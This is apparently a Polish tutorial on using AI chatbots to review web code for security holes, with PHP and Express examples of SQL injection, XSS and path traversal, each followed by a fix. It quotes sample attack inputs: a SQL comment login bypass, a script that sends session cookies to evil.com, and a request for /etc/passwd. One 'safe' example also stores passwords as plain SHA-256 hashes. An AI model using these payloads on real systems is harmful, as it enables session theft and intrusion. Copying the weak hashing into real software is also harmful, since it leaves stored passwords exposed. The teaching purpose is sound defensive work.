Audyt bezpieczeństwa kodu tradycyjnie wymagał doświadczonego pentestera lub specjalisty od security. Dziś modele AI takie jak Claude czy ChatGPT mogą być wartościowym pierwszym filtrem — wykrywają typowe podatności szybko i bez specjalistycznej wiedzy po stronie dewelopera. Nie zastąpią profesjonalnego audytu, ale mogą wychwycić wiele błędów jeszcze na etapie pisania kodu.

ℹ️ Ważne zastrzeżenie: AI do przeglądu bezpieczeństwa kodu to przydatne narzędzie wspomagające, nie substytut profesjonalnego audytu. Modele AI mogą przeoczyć subtelne podatności, szczególnie te wymagające głębokiego zrozumienia kontekstu biznesowego lub architektury całego systemu. Warto traktować je jako jeden z warstw ochrony.

TOP 5 podatności w kodzie webowym

1. SQL Injection (wstrzyknięcie SQL)

Najgroźniejsza i nadal bardzo powszechna podatność. Atakujący wstrzykuje złośliwy kod SQL do zapytania bazodanowego przez dane wejściowe użytkownika.

<?php
// ❌ KOD PODATNY NA SQL INJECTION:
$login = $_POST['login'];
$haslo = $_POST['haslo'];
$sql = "SELECT * FROM uzytkownicy WHERE login='$login' AND haslo='$haslo'";
// Atakujący wpisuje: login = admin'--
// Zapytanie staje się: SELECT * FROM uzytkownicy WHERE login='admin'--' AND haslo=...
// Komentarz -- pomija sprawdzenie hasła!

// ✅ KOD BEZPIECZNY (PDO z parametrami):
$stmt = $pdo->prepare("SELECT * FROM uzytkownicy WHERE login = ? AND haslo = ?");
$stmt->execute([$login, hash('sha256', $haslo)]);
$user = $stmt->fetch();
?>

2. Cross-Site Scripting (XSS)

Atakujący wstrzykuje skrypt JavaScript, który wykonuje się w przeglądarce ofiary. Może kraść ciasteczka sesji, przekierowywać użytkownika lub wykonywać działania w jego imieniu.

<?php
// ❌ KOD PODATNY NA XSS (reflected):
echo "Szukasz: " . $_GET['q'];
// Atakujący wysyła link: /szukaj?q=<script>document.location='https://evil.com/?c='+document.cookie</script>

// ✅ KOD BEZPIECZNY:
echo "Szukasz: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
// htmlspecialchars konwertuje < na &lt;, > na &gt;, ' na &#039;
?>

3. CSRF, Insecure Deserialization i Broken Auth

CSRF (Cross-Site Request Forgery) — atakujący nakłania zalogowanego użytkownika do wykonania niechcianej akcji. Ochrona: tokeny CSRF w formularzach. Insecure Deserialization — deserializacja niezaufanych danych może prowadzić do RCE (Remote Code Execution). Nigdy nie deserializuj danych od użytkownika funkcją unserialize() w PHP bez walidacji. Broken Authentication — słabe hasła, brak rate-limiting na login, niezabezpieczone tokeny sesji. Używaj password_hash() i password_verify() w PHP, ogranicz próby logowania.

📷 Diagram OWASP Top 10 2023 — TOP 5 podatności z kolorowymi oznaczeniami ryzyka i przykładami ataków

Jak formułować prompt do AI dla review bezpieczeństwa

Sposób w jaki opiszesz zadanie modelowi AI ma ogromny wpływ na jakość wyników. Oto sprawdzone szablony promptów:

1

Prompt ogólny — analiza pliku

Wklej kod i dodaj: "Przeanalizuj ten kod PHP pod kątem podatności bezpieczeństwa. Szukaj: SQL injection, XSS, CSRF, niezabezpieczonych operacji na plikach, wycieku danych w komunikatach błędów. Dla każdej znalezionej luki podaj: opis problemu, przykład exploitu, poprawiony kod."

2

Prompt specyficzny — jedna kategoria

Bardziej szczegółowy: "Czy poniższy kod PHP jest podatny na SQL injection? Sprawdź wszystkie miejsca gdzie dane użytkownika trafiają do zapytań SQL. Użyj oznaczeń: PODATNY/BEZPIECZNY/WYMAGA-SPRAWDZENIA dla każdego zapytania."

# Przykład sesji z Claude (weryfikacja kodu Node.js/Express):
# Prompt:
# "Sprawdź ten fragment kodu Express.js pod kątem bezpieczeństwa.
#  Szczególnie zwróć uwagę na: walidację danych wejściowych,
#  autoryzację, potencjalny path traversal i wycieki informacji."

# Fragment kodu do analizy:
app.get('/plik', (req, res) => {
  const nazwa = req.query.nazwa;
  const sciezka = '/dane/' + nazwa;  // ❌ path traversal!
  res.sendFile(sciezka);
  // Atakujący: /plik?nazwa=../../etc/passwd
});

# Bezpieczna wersja:
const path = require('path');
app.get('/plik', (req, res) => {
  const nazwa = req.query.nazwa;
  const sciezka = path.resolve('/dane', nazwa);
  if (!sciezka.startsWith('/dane/')) {  // sprawdź czy nie wychodzi z katalogu
    return res.status(403).send('Brak dostępu');
  }
  res.sendFile(sciezka);
});

Narzędzia statyczne jako uzupełnienie AI

AI nie zastępuje dedykowanych narzędzi do analizy statycznej kodu (SAST). Warto łączyć oba podejścia:

  • Semgrep — darmowy, open-source skaner z regułami dla wielu języków. Działa w pipeline CI/CD. Wykrywa podatności na podstawie wzorców kodu.
  • SonarQube — kompleksowa platforma do jakości i bezpieczeństwa kodu. Community edition jest darmowa.
  • Bandit (Python) — specjalizowany skaner bezpieczeństwa dla Pythona.
  • PHPStan + Psalm — statyczna analiza PHP wykrywająca m.in. potencjalne XSS i injection.
📷 Zrzut ekranu z Semgrep CLI — przykład wyników skanowania z oznaczonymi podatnościami SQL injection w kodzie PHP

Ograniczenia AI w security review

Modele AI mogą mylić się w kilku obszarach. Zazwyczaj słabiej radzą sobie z: logiką biznesową (np. błędna autoryzacja oparta na złożonych regułach), podatnościami wymagającymi wieloetapowego exploitu (chain of vulnerabilities), nowo odkrytymi podatnościami (po dacie odcięcia wiedzy) oraz specyficznymi frameworkami i bibliotekami. AI może też generować fałszywe alarmy — zgłaszać problemy tam gdzie ich nie ma.

⚠️ Nota informacyjna: Treści mają charakter edukacyjny. Wszelkie działania podejmujesz na własną odpowiedzialność. Przed zmianami w środowisku produkcyjnym wykonaj kopię zapasową.